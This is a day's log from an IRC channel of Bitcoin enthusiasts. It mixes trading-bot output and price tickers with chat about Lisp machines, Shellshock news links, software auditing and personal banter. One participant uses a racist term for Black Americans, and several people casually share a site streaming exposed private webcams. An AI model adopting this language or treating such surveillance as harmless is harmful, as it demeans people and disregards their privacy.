Show Idle (>14 d.) Chans


← 2014-09-24 | 2014-09-26 →
00:05 decimation the other thing that interested me about the symbolics video was the fact that the machine had a global namespace
00:08 assbot [HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5}
00:15 ben_vulpes <asciilifeform> TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development?
00:20 ben_vulpes homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time.
00:20 ben_vulpes homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices.
00:20 ben_vulpes hardware: risk hands
00:21 ben_vulpes software: risk sanity
00:21 ben_vulpes le travail, c'est le travail
00:28 assbot [HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+]
00:32 mircea_popescu ;;ticker
00:32 gribble Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763
00:33 mircea_popescu scam tealeaves
00:34 asciilifeform ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols.
00:36 decimation it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS
00:36 mircea_popescu one of the biggest promises of hard ai is the computer that slaps the human upside the head
00:36 mircea_popescu for "coding innovations"
00:38 mircea_popescu ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point.
00:38 asciilifeform obligatory: http://www.niquette.com/paul/issue/softwr02.htm
00:38 assbot Software Does Not Fail
00:41 mircea_popescu "Marketing is hard. We wrote an ebook." fucking shot these idiots already
00:41 BingoBoingo Marketing is easy, make someone angry.
00:42 mircea_popescu lol
00:42 penguirker New blog post: http://www.thedrinkingrecord.com/2014/09/24/a-year-of-posts/
00:42 mircea_popescu wow no way, you lasted a year ?!
00:43 decimation asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core?
00:43 mircea_popescu if the archives bother you you can just make a dropdown
00:44 asciilifeform decimation: brad parker has a cadr emulator (and a 'verilog' version of the 74xxx circuits!) on his site, read yourself.
00:44 asciilifeform there can never be a substitute for actually seeing the original.
00:44 BingoBoingo mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing.
00:45 asciilifeform congrats BingoBoingo
00:45 * decimation found, is reading
00:45 decimation I assume it's the unlambda stuff?
00:45 asciilifeform decimation: yes
00:46 mircea_popescu BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line
00:46 asciilifeform http://www.unlambda.com/cadr
00:46 assbot Retrocomputing - MIT CADR Lisp Machines
00:46 mircea_popescu it's pretty awesome to look at, but hey.
00:46 mircea_popescu still takes space and loads the page with a lot of html
00:46 BingoBoingo Also most clicked through link today, since... the hashlet.virtual-girfriend people can though has been the woodchipper fanfic https://www.fanfiction.net/s/8201149/1/Harry-Potter-and-the-Wonderful-Wood-Chipper
00:46 assbot Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction
00:47 BingoBoingo I might play with the archives again if their quarentine page gets too big...
00:51 mircea_popescu i need an intern.
00:51 mircea_popescu if anyone wants to intern, get in touch.
00:51 asciilifeform intern at what ?
00:53 mircea_popescu at derping online.
00:53 asciilifeform what will the intern learn?
00:53 asciilifeform how to transition from grade 4 to grade 5 derpatronic engineer ?
00:54 BingoBoingo Any particular venues for derping?
00:54 mircea_popescu notrly. interns generally learn how to stop drifting aimlessly around
00:54 mircea_popescu and where the gates to careers are, how they look and how the ywork
00:55 asciilifeform generally learn how to stop drifting aimlessly around << this is particularly funny to me, as i 'knew exactly what to do' before interned as a kid, and then began to doubt...
00:56 decimation "I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf
00:56 assbot Last 1 lines bashed and pending review. ( http://dpaste.com/0W7KNEK.txt )
00:56 BingoBoingo !b 1
00:57 mircea_popescu asciilifeform exactly. it's how it'd look :)
00:58 asciilifeform http://www.strangefarmer.com/images/content/191114.jpg
00:59 decimation lol really the 'chipper' in that case should be labeled 'justice 'system''
01:13 nubbins` http://i.imgur.com/afcSgpjl.jpg
01:25 assbot [MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-]
~ 16 minutes ~
01:41 BingoBoingo ;;ticker --market all
01:41 gribble Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988
01:49 assbot [HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4}
~ 26 minutes ~
02:15 ben_vulpes what is this point of socrates' re marriage?
02:16 mircea_popescu some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher.
02:16 mircea_popescu !up Takeshi
02:16 mircea_popescu !up Lycerion
02:18 ben_vulpes <asciilifeform> ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel
02:18 ben_vulpes it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place.
02:18 ben_vulpes hysteresis
02:19 mircea_popescu now this is a point. decoupled risk and reward => moral hazard
02:19 ben_vulpes reeeeeeally bad feedback loops.
02:19 ben_vulpes anyways, nite.
02:19 ben_vulpes yeah. software hazard.
02:19 ben_vulpes there's something in here about buying others risk
02:20 ben_vulpes but again, it's late.
02:34 mircea_popescu ;;bc,stats
02:34 gribble Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469
02:43 Vexual did cazalla find any feedback loops regarding dcc?
02:51 assbot [MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2}
02:52 assbot [HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+]
02:54 Vexual did asciilifeform solve paste dilemma?
02:55 Vexual did mircea buy an island?
03:05 Vexual did vulpes mom really turn off his computer?
03:05 assbot Last 3 lines bashed and pending review. ( http://dpaste.com/23ZV65F.txt )
03:05 BingoBoingo !b 3
03:09 assbot [MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+]
03:13 assbot [HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3}
03:23 mircea_popescu every man is an island
03:24 Vexual immma ut that in my little popescue journal here
03:37 davout ohai
03:38 Vexual salutations
03:39 fluffypony davout's alive!
03:46 xmj youre alive again too
03:46 xmj fluffypony: for lulz, did you see the couple getting married "on the blockchain" ?
03:46 fluffypony yes
03:47 xmj libertarian friends of mine :3
03:47 xmj somehow the BTC community is very tightly knit, it seems.
03:53 mircea_popescu logic.
03:54 mircea_popescu davout didja survive the honey ?
03:55 davout what do i look like, bacteria?
03:55 mircea_popescu lol
03:55 mircea_popescu a month of honey is no joke.
03:55 davout we both survived
03:55 fluffypony and you haven't killed each other?
03:55 davout i do have a movie of fanny being attacked by clownfish tho
03:56 fluffypony lol
03:56 mircea_popescu i forget which are the clownfish
03:56 mircea_popescu are they the bisexual ones ?
03:57 mircea_popescu davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ?
03:58 davout they're protoandrous i think
03:58 davout they change sex at some point
04:04 mircea_popescu well on that note, ima go change dreams. laters
~ 18 minutes ~
04:23 xmj fluffypony: i'm bored too often. do you know anyone looking for a sysadmin? :)
04:23 fluffypony not off the top of my head
04:23 xmj I accept BTC payments, too! look i'm modern
04:24 xmj fluffypony: ah well, worth trying ;)
04:31 Vexual is it fortune or adventur that you seek xmj?
04:38 Vexual tats a chicken and egg right thar
04:43 assbot [HAVELOCK] [PETA] 1757 @ 0.00060995 = 1.0717 BTC [+]
04:46 Vexual asia i s still underrepresented in assets
04:52 Vexual wheres the indo guys? and bejing?
04:58 Vexual https://www.youtube.com/watch?v=d_EADBnXjXc
05:04 Vexual !up davout_ ttwice
05:06 Vexual https://www.youtube.com/watch?v=L3xpmfJp0Xc original
05:10 Vexual you made me ink
05:16 Vexual hi davout
05:16 davout hey
05:17 davout again :-)
05:17 Vexual this is salutations
05:17 Vexual since your not australian or a drunk
05:17 Vexual we can't punch each other about the face and become lifelong friends
05:17 Vexual how about it?
05:20 Vexual https://www.youtube.com/watch?v=Edwsf-8F3sI
05:22 Vexual you're more than welcome to reserve judgement for a decade
05:23 Vexual or seven
05:27 Vexual regex?
05:29 Vexual :)
05:33 Vexual https://www.youtube.com/watch?v=1vmtvNYIalo
05:39 Vexual https://www.youtube.com/watch?v=BrBpewHG-wI
05:41 assbot [MPEX] [S.MPOE] 12800 @ 0.00075408 = 9.6522 BTC [-]
05:47 Vexual https://www.youtube.com/watch?v=_NRvZTIVf4g
05:48 assbot [MPEX] [S.MPOE] 1800 @ 0.00075408 = 1.3573 BTC [-]
05:52 Vexual https://www.youtube.com/watch?v=QMvE0yFnR0I
05:55 BingoBoingo http://www.theonion.com/articles/18yearold-fighting-in-afghanistan-has-911-explaine,29518/
05:55 assbot 18-Year-Old Fighting In Afghanistan Has 9/11 Explained To Him By Older Soldier | The Onion - America's Finest News Source
~ 23 minutes ~
06:18 Vexual http://www.youtube.com/watch?v=wfS5tgNC6qw you wouldn't fight a tiger
06:19 assbot [MPEX] [S.MPOE] 14350 @ 0.00075408 = 10.821 BTC [-]
~ 16 minutes ~
06:36 assbot [MPEX] [S.MPOE] 749 @ 0.00075408 = 0.5648 BTC [-]
06:38 Vexual https://www.youtube.com/watch?v=cnNyxy7XPfs
06:45 Vexual llseen vancleef
06:46 Vexual 23-09-2014 12:10:33  <jurov>   (some call it axe soup)
06:48 Vexual https://www.youtube.com/watch?v=nxtIRArhVD4 2 ladies=bouble the hits
~ 21 minutes ~
07:09 chetty http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
07:09 assbot Troy Hunt: Everything you need to know about the Shellshock Bash bug
07:19 assbot [MPEX] [S.MPOE] 10504 @ 0.00075302 = 7.9097 BTC [-] {4}
~ 33 minutes ~
07:53 thestringpuller $depth s.mpoe
07:53 empyex thestringpuller: [S.MPOE] Bids: 8200 @ 0.00075017 7555 @ 0.00075014 14500 @ 0.00074959 4200 @ 0.00074933
07:53 empyex thestringpuller: [S.MPOE] Asks: 18800 @ 0.00075346 15333 @ 0.00075472 14700 @ 0.00075473 9461 @ 0.00075553
08:00 jurov https://bitpieces.com/ "Creators are *required* to pay rewards to their funders, starting out small, and growing as they grow their brand."
08:00 assbot Bitpieces
08:00 jurov emphasis theirs. dis gon b gud.
08:13 ThickAsThieves ;;later tell TheNewDeal <TheNewDeal> any response on that foia yet? /// since youve been singling me out, I wanna clear up that, while I did email them an inquiry long ago, I did not personally submit a FOIA request. I simply know of a couple netizens that did. You can expect news to spread fast once(if) it happens.
08:13 gribble The operation succeeded.
08:14 thestringpuller everyone uses the same website format these days
08:14 ThickAsThieves wouldnt the net be a better place if all used same standard?
08:15 * ThickAsThieves is mostly trolling
08:16 assbot [MPEX] [S.MPOE] 9800 @ 0.00075346 = 7.3839 BTC [+]
08:18 kakobrekla o look, 1.271
08:19 ThickAsThieves ?
08:20 mats_cd03 i have finally discovered a cheese that i find palatable: pepper jack.
08:20 ThickAsThieves you can do better
08:20 mats_cd03 this is a special day.
08:20 ThickAsThieves you dont like extra sharps?
08:21 mats_cd03 theres something about most cheese that makes me retch
08:21 kakobrekla ThickAsThieves http://shrani.si/f/q/vR/2PsqLksx/eurusd-h1-.png
08:21 mats_cd03 i usually have to pair it with meat to even be consumable
08:21 mats_cd03 usually beef.
08:23 mats_cd03 also spicy food.
08:24 ThickAsThieves oh the EUR is reverting to older versions
08:24 ThickAsThieves soon back to beta
08:24 mats_cd03 23:16:36 <+asciilifeform> mats_cd03: practical-file-system-design << old favourite of mine.<< i am also busy consuming 'principles of program analysis' by nielson and friend.
08:26 kakobrekla old version?
08:26 kakobrekla oh
08:26 kakobrekla fuck im slow.
08:26 kakobrekla barely over retard.
08:28 mats_cd03 there is something special about morning coffee time after a long hiatus with tea as a substitute
08:28 mats_cd03 i... feel so alive.
08:29 mats_cd03 !s facebook notes
08:29 assbot 8 results for 'facebook notes' : http://search.bitcoin-assets.com/?q=facebook+notes
08:32 ThickAsThieves kako i made a bad joke, not ur fault
08:39 jurov http://www.queerty.com/science-confirms-the-bigger-the-belly-the-better-the-lover-20140923
08:39 assbot Science Confirms The Bigger The Belly, The Better The Lover / Queerty
08:39 jurov ha!
08:42 ThickAsThieves such lol "So let’s say a guy has sex 100 times annually. If he has a belly, he’s going to spend approximately eight hours — an entire work day — more per year penetrating his lover than if he has a six-pack. That’s a substantial amount of time."
08:42 ThickAsThieves "More belly fat, scientists say, means a man has more estradiol, a female sex hormone that helps to inhibit orgasm."
08:44 cazalla i think i read somewhere before fatties last longer because lower test means they're more inclined to think about the womans pleasure
08:49 jurov !mpif
08:49 assbot BtcAlpha.com F.MPIF Tracker estimated NAV per share: 0.00021650 B (Total: 473.44 B). Delta: -1.08 B. Last trade for F.MPIF on MPEX was at 0.00020614 BTC [-]
08:50 mats_cd03 the original study is about premature ejaculation, but the abstract doesnt describe the definition.
08:50 mats_cd03 at least, not without a ... $4 rental service.
08:51 * mats_cd03 curses nature
~ 15 minutes ~
09:06 assbot [HAVELOCK] [PETA] 1300 @ 0.00058241 = 0.7571 BTC [-] {5}
09:10 kakobrekla https://www.youtube.com/watch?v=sA5IFJqjXiQ
09:10 assbot GIRLS und PANZER () (Katyusha) [10 hours version] HD - YouTube
09:11 ThickAsThieves so i paid to have Lowes install a garage door on a rental property, 2mos later it finally happens (skipping some headache details) and they dont actually fully install it and they show me a forged report with my signature
09:12 ThickAsThieves like i couldnt recognize my own sig...
09:18 mats_cd03 i don't want to paint a broad brush here,
09:19 mats_cd03 but every contractor in the world is a miserable, lying thief.
09:19 chetty haha nah thats not a broad brush ....
09:20 ThickAsThieves also Lowes subcontracts tyhe work of course, and then this sub subbed it out again
09:20 mats_cd03 :)
09:20 kakobrekla lucky it didnt blow your house up... cause you know, these things happen.
09:20 ThickAsThieves the Contest Charges button is broken on my credit card too
09:21 ThickAsThieves fukn kindergarten
~ 18 minutes ~
09:40 mats_cd03 whats the relation between kindergarten and contest charges?
09:41 chetty the workings of current business are running at kindergarten levels?
09:41 ThickAsThieves i'm dealing with children
09:42 ThickAsThieves and now they will be punished
09:42 ThickAsThieves http://pandodaily.files.wordpress.com/2014/09/paypal-e28093-we-the-people-ad.png?w=940&h=1729
09:42 chetty omg, paypal is safe??? hahahahaha
09:43 ThickAsThieves well they arent leaking titties at least!
09:44 mats_cd03 man needs a proper hair style.
09:44 ThickAsThieves it's not a real man, it's face morph of all the men in their target audience
09:45 chetty true, but paypal does stuff like freeze accounts, just because
09:45 ThickAsThieves sure, i'm not here to defend paypal, but i can appreciate the ad
09:47 ThickAsThieves they wanna jedi mind trick the fappening and NSA etc
09:47 ThickAsThieves ApplePay is the droid youre looking for
09:49 chetty must it get any worse before it starts getting better?
09:49 ThickAsThieves it must
09:49 ThickAsThieves since when are people good at being proactive?
10:00 mats_cd03 is it a net loss -- scammers accumulating wealth, and the stupid losing theirs?
10:04 kakobrekla mps theory is scammers are unable to accumulate wealth
10:05 ThickAsThieves my theory is everything is a varying degree of scam
10:05 rithm i like it
10:06 rithm ThickAsThieves if you could finish that sentence with "don't try" it would be complete
10:06 rithm maybe... don't try kids
10:10 ThickAsThieves hmm? you lost me
10:10 rithm i could use just a little bit more hopelessness?
10:11 ThickAsThieves it's in season, ur lucky!
10:11 ThickAsThieves http://www.firstcoastnews.com/story/news/weird/2014/09/24/man-has-hundred-orgasms-day/16185505/
10:11 assbot Man has 100 orgasms a day after back injury
10:15 rithm that video is priceless
10:17 assbot [MPEX] [S.MPOE] 5600 @ 0.00075017 = 4.201 BTC [-]
10:21 rithm https://gist.github.com/anonymous/929d622f3b36b00c0be1
10:21 assbot Ok, shits real. Its in the wild... src:162.253.66.76
10:22 rithm that's shellshock in the wild apparently
10:22 rithm https://news.ycombinator.com/item?id=8366088
10:23 assbot ShellShock exploited in the wild: kernel exploit with CnC component | Hacker News
10:23 rithm those who operate public facing embedded type webservers that might call on shell scripts and the like
10:24 kakobrekla http://nsasimulator.com < i heard there some panic re this here as 3 bedrooms from ljubljana were discovered on that thing
10:24 assbot NSA Simulator - Watch Live Security Cams!
10:25 kakobrekla ip camera in bedroom, always a good idea.
10:26 rithm http://nsasimulator.com/webcam.php?camid=368
10:26 assbot NSA Simulator - Watch Live Security Cams!
10:26 rithm ^ super creepy
10:26 kakobrekla yup: https://twitter.com/ToneMartinjak/status/514959965585682433
10:26 assbot Objavljam vse 3 slike spalnic, opozorite prizadete, RT po vai presoji http://t.co/GOaDEu8r16
10:34 ThickAsThieves so it begins http://www.coindesk.com/huobi-sends-400k-wrong-user-accounts/
10:34 assbot Huobi Sends $400k to Wrong User Accounts
10:34 bounce looking at cameras makes you a "hacker" now. what does that these peeps make? they SCRIPTED the looking at security cameras. surely that's EXCEPTIONAL SKILL and so they're not merely HACKERS, they're VERY DANGEROUS UBERHACKERS
10:35 ThickAsThieves someone called them hackers?
10:35 kakobrekla ok so: which animal typed this: <iNanca> cndjkfhuasdy
10:35 ThickAsThieves also, i'm okay with "hacker" meaning someone who can hack shit together to do rare shit
10:36 bounce that nsasimulator site, first paragraph, last sentence
10:37 ThickAsThieves technicality really, he never says the hackers need to hack
10:37 ThickAsThieves only that hackers are the demo that would do it ;)
10:37 bounce since they clearly did it...
10:37 ThickAsThieves i think you need to brace yourself for the broader definition of hacking
10:37 ThickAsThieves it's only going to get looser
10:38 bounce we're already there. "hacker" means "cyberbogeyman" now.
10:38 ThickAsThieves in 20 years, hacking will mean learning or doing anything useful
10:39 ThickAsThieves yo you hacked the english language and can read?!
10:39 bounce it'll be reviled all the same. you can read? therefore you are a hacker. therefore you lose your fourth amendment rights.
10:40 mats_cd03 this nonversation about definitions was old twenty years past
10:40 mats_cd03 language drifts news at 11
10:40 ThickAsThieves nothing is new, news at bigbangoclock
10:43 bounce tsunamis have happened for aeons. yet we like forewarning and protection. youse a bunch of nimby sayers, mats says. no fighting the inevitable!
10:44 bounce the deeper problem with the terminology is that it no longer means anything useful and so gets used like the smurfs use smurfing. and lo and behold, the computer security is just about as useful.
10:44 bounce s/security/& industry/
10:44 chetty or, the inevitable is the only thing worth fighting
10:45 ThickAsThieves like anything is really secure anyway...
10:46 chetty does security exist in nature?
10:46 bounce that's a really strong argument. fits just about anywhere. "can't have 100% security anywhere, might as well give up".
10:47 ThickAsThieves so touchy today
10:48 bounce and hello ad hominem. noted.
10:49 ThickAsThieves well it's relevant, no? You are behaving the same as what pisses you off. Broadening definitions to suit your degree of being offended.
10:51 bounce I am? show how.
10:51 ThickAsThieves just because i suggets nothing is "really secure" does not mean that I am saying security is a waste of time
10:52 bounce the "anyway" did that pretty much, yeah
10:52 ThickAsThieves says you
10:52 bounce well, who were you talking to then?
10:53 mike_c meet behind the school at noon
10:53 ThickAsThieves i was only pointing out that the illusion of security most people hold is long gone
10:53 ThickAsThieves and then some
10:53 ThickAsThieves in regards to computers/internet
10:55 ThickAsThieves none of my comments on the state of security were meant to comment on how bounce does security or about what bounce thinks about security
10:56 ThickAsThieves i apologize for such a broad stroke if they seemed otherwise
10:57 bounce well, that's the problem innit? people still pay for security (see size of computer security industry) yet are getting none, or at least much less than they should be getting
10:57 mats_cd03 i delay the battles i cannot win and fight with haste otherwise
10:57 ThickAsThieves bounce, i cant argue with that
10:57 ThickAsThieves anything "canned" seems to be toxic
10:59 bounce now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively
10:59 mats_cd03 and on the subject of fighting...
10:59 mats_cd03 Sept. 23: ISIL compound strike: http://youtu.be/0bpakeG9x7o first f-22 combat op
10:59 assbot Sept. 23: ISIL compound strike - YouTube
11:00 mats_cd03 war porn.
11:00 jurov is anyone willing to pay "we have read the code for you" kind of security?
11:00 rithm probably not tbh
11:00 ThickAsThieves if i were to attempt articulating it, I'd say it's a focus on convenience over robustness, ignorance over understanding, etc
11:00 bounce it's a bit like... well, calling everyone who does anything wrong a "wrongdoer", regardless of the details of the crime. do that consistently and there's no discernible difference between a mass murderer and a petty thief, or even someone telling you you left the keys in the door and don't forget to close up, guv.
11:00 jurov redhat would be in a position to do it..but perhaps their current bezzle makes better $$$
11:01 ThickAsThieves i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely?
11:02 bounce plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines
11:02 nubbins` they key is "safely", and you have your answer :)
11:02 ThickAsThieves all it takes is one rogue programmer to plant a shellshock, no?
11:03 mats_cd03 http://embeddedgurus.com/barr-code/2014/03/lethal-software-defects-patriot-missile-failure << floating point rounding error fatalities.
11:03 assbot Lethal Software Defects: Patriot Missile Failure « Barr Code
11:03 jurov ThickAsThieves huh? they do have people able to read the code. only currently they spew new one instead
11:03 assbot [MPEX] [S.MPOE] 11600 @ 0.00075451 = 8.7523 BTC [+] {2}
11:03 ThickAsThieves so who watches the watchmen?
11:04 mats_cd03 the watchermen ofc
11:04 ThickAsThieves the radar detector detector!
11:04 bounce so now you need a radar detector detector detector in your radar detector
11:05 mats_cd03 http://courses.cs.vt.edu/professionalism/Therac_25/Therac_1.html << other software related fatalities.
11:05 ThickAsThieves is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe?
11:06 nubbins` who you gonna trust to audit it?
11:06 ThickAsThieves tis the topic
11:06 nubbins` surely not a company with employees
11:06 ThickAsThieves i'm looking for an example
11:06 nubbins` one of them could be rogue :0
11:06 jurov you need multiple independent reports
11:06 nubbins` hire pricewaterhousecoopers
11:06 ThickAsThieves is there 1?
11:07 jurov no one will risk their rep over C++ mess
11:08 ThickAsThieves kinda funny tho, some people will say Armory, no, Electrum, no Mycelium, no Core, but none are audited anywhere
11:09 jurov i have a little hope for haskoin, it's nicely done
11:09 nubbins` http://dpaste.com/08S88J2
11:09 assbot dpaste: 08S88J2: Patching #ShellShock in OS X
11:09 TomServo Would an audit even be useful without a specification?
11:09 nubbins` for my mac brethren
11:09 ThickAsThieves like was said earlier, <+mats_cd03> i delay the battles i cannot win and fight with haste otherwise
11:10 ThickAsThieves TomServo, my stance would be that any attempt to see how hard a wallet is would be a start
11:10 jurov wallet isn't so hard
11:10 jurov mining is crux of it
11:11 ThickAsThieves like the guy who made that coin that instamined, and we discovered block reward just resets
11:11 ThickAsThieves wtf else is waiting?
11:11 ThickAsThieves or already being exploited?
11:12 ben_vulpes <ThickAsThieves> i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? << for legacy projects i generally angle for an audit phase.
11:12 ben_vulpes (paid, ofc)
11:12 nubbins` i think i'm going to start only quoting the winkdex for the btc/usd price
11:12 nubbins` just for a lel
11:13 ben_vulpes how else am i to know what i'm getting into?
11:13 ThickAsThieves ben_vulpes and how often does audit result in actual project being started from scratch to suit your team/current tech?
11:13 ben_vulpes rarely
11:13 ThickAsThieves how often do you find holes?
11:14 ben_vulpes 't'ain't a security audit
11:14 ThickAsThieves ah
11:14 ThickAsThieves just assessment
11:14 mike_c security audit is basically impossible.
11:14 ben_vulpes say it again and again
11:14 ThickAsThieves mike_c did you just say what i think you said?
11:14 mike_c probably
11:14 ThickAsThieves ;)
11:15 jurov ;;later tell asciilifeform after seeing the lisp machine vid, i remembered there is a contemporary cpu with accessible microcode - transmeta crusoe. only problem i see they worked with torvalds not naggum... but maybe something can be salvaged?
11:15 gribble The operation succeeded.
11:16 ThickAsThieves i suppose it's not a job for auditors, it's a job for hackers
11:16 ThickAsThieves pretty great argument for them really, not that it's a new one
11:16 ben_vulpes <jurov> i have a little hope for haskoin, it's nicely done << last i checked it was just an rpc wrapper, has it grown much?
11:17 * ben_vulpes sees prodnet and testnet
11:17 mike_c i am a fan of the security bug bounties (if they are sizable). gives hackers a way to do their thing and get paid legally.
11:17 ben_vulpes hm
11:17 jurov in half a day i made it actually talk to altcoind (altcoiners, watch your .altcoin/debug.log ;) )
11:17 assbot [MPEX] [S.MPOE] 5017 @ 0.00075473 = 3.7865 BTC [+]
11:18 jurov i plan to try building full node, with atc the blockchain fits in memory
11:18 ben_vulpes just need moar memory for btc :P
11:19 kakobrekla how about btc testnet?
11:19 lobbes http://phys.org/news/2014-09-black-holes.html
11:19 assbot Researcher shows that black holes do not exist
11:19 ben_vulpes ThickAsThieves: honestly it's a play to get some time to read the code and fuck around with tests before clients start asking for features.
11:19 lobbes 'The paper, which was recently submitted to ArXiv, an online repository of physics papers that is not peer-reviewed' << hmm
11:19 ben_vulpes there's this impossible-to-circumvent 60-hr onboarding window with new devs on old projects.
11:19 jurov i like atc more, playing with real stuff
11:20 mike_c ^ paging pankkake
11:20 kakobrekla music to mps ears.
11:20 jurov also, satoshi 0.9.x is incredibly paranoid, once you send malformed message it blocks you for several hours
11:21 jurov atc is more slutty
11:21 ThickAsThieves hehe
11:22 kakobrekla tat a pimp nao
11:24 bounce oh dear. no black holes. no singularity. then what of the technological singularity?
11:24 ThickAsThieves 2 weeks
11:24 mats_cd03 youtu.be/vtKAsveYWAQ man does an explosive cartwheel
11:27 nubbins` this black hold article sucks
11:28 nubbins` they say black holes don't exist, but offer no explanation for what the things we've been calling black holes are
11:28 nubbins` *hole
11:28 lobbes and the paper wasn't even peer reviewed
11:28 bounce not yet anyway
11:28 nubbins` i'm going to submit a paper about how submarine sandwiches don't exist
11:30 mats_cd03 http://www.armytimes.com/article/20140923/NEWS08/309230066/Army-chief-Division-headquarters-will-deploy-soon-Iraq >> 1st Armored. give it a month before the dudes in kuwait make their way over. so much for leaving iraq...
11:30 assbot Army chief: Division headquarters will deploy soon to Iraq | Army Times | armytimes.com
11:30 nubbins` they can't form, the flour from the bread would get mixed in with the maynnaise
11:30 bounce ``However, in her new work, Mersini-Houghton shows that by giving off this radiation, the star also sheds mass.'' -- so hawking radiation means you're looking at an imploding and evaporating ex-star
11:30 nubbins` mats_cd03 dat perpetual war
11:30 ThickAsThieves kate craig https://ip.bitcointalk.org/?u=https%3A%2F%2Flh5.googleusercontent.com%2F-M3N99L26AMU%2FT4FNacodciI%2FAAAAAAAAAPg%2FmR720LPenf8%2Fw1096-h822-no%2F2012%252B-%252B1&t=544&c=YkpXu6zoGvYYuQ
11:30 bounce also, I'll peer review your paper in return for a couple subs
11:30 nubbins` bounce: like courtney love?
11:31 mats_cd03 better than fighting american negroids i guess
11:31 nubbins` tat that's a pretty fancy car to be crashing into a rock face
11:31 mats_cd03 dafuq is that link
11:32 ThickAsThieves it's the mangirl that ran ciphermine
11:32 ThickAsThieves and cipherbond
11:33 ThickAsThieves is it really a fancy car? looks like a toy
11:33 * nubbins` shrugs
11:33 nubbins` weird shape, gotta be fancy
11:33 nubbins` probably just a celica w/ a body kit or something
11:34 nubbins` actually, is that an audio logo on the front wheel?
11:35 nubbins` http://www.moibibiki.com/files/images/images640_/audi-r8-1.jpg
11:40 nubbins` https://bitcointalk.org/index.php?topic=796300.0
11:40 assbot [0/12] HODL silkscreened t-shirts
11:41 ThickAsThieves being born on major US holidays is not allowed https://pbs.twimg.com/media/Bx8dlFWIQAEOzIZ.png
11:42 kakobrekla 'hlod' is better.
11:43 mike_c hilarious, but i'm with BingoBoingo on BTC tshirts
11:43 mats_cd03 protip - avoid us hospitals in july. new doctors are rotated in during that period.
11:44 nubbins` protip: avoid US hospitals
11:44 kakobrekla protip: avoid
11:44 nubbins` protip:
11:44 mats_cd03 also, if you are poor or need superior treatment in a pinch, go to a va or teaching hospital.
11:45 nubbins` calc 0.084457/[ticker --last]
11:45 asciilifeform jurov: afaik transmeta microcode magic wasn't actually published. possibly (anyone who knows the truth - correct if wrong) - because it was not actually suited for anything but x86.
11:45 nubbins` ;;calc 0.084457*[ticker --last]
11:45 gribble 34.91030095
11:45 nubbins` ;;remove 21497
11:45 gribble Order 21497 removed.
11:45 nubbins` ;;remove 21499
11:45 gribble Order 21499 removed.
11:45 nubbins` ;;view 21502
11:45 gribble #21502 Thu Sep 25 00:54:36 2014 nubbins` SELL 1.0 100% Organic Cotton HODL t-shirt @ 0.084742 BTC (http://i.imgur.com/afcSgpjl.jpg)
11:45 nubbins` there we go
11:46 The20YearIRCloud What's hodl?
11:46 mats_cd03 redditard meme, i think
11:46 nubbins` it's what you do instead of selling
11:46 nubbins` mats_cd03 pretty much
11:46 nubbins` https://bitcointalk.org/index.php?topic=375643.0
11:46 assbot I AM HODLING
11:47 assbot [MPEX] [S.MPOE] 10155 @ 0.00075014 = 7.6177 BTC [-] {2}
11:49 The20YearIRCloud the joys of people making money off of memes
11:51 * nubbins` nods slowly
11:52 nubbins` people want the familiar
11:52 nubbins` they're like birds, new things are scary
11:59 asciilifeform bounce: people still pay for security (see size of computer security industry) yet are getting none << obligatory >> http://www.loper-os.org/?p=1299
11:59 assbot Loper OS » Don’t Blame the Mice.
12:00 assbot [HAVELOCK] [PETA] [PAID] 4.17445644 BTC to 1`149`988 shares, 363 satoshi per share
~ 18 minutes ~
12:18 assbot [HAVELOCK] [AM1] 5 @ 0.14479999 = 0.724 BTC [+] {2}
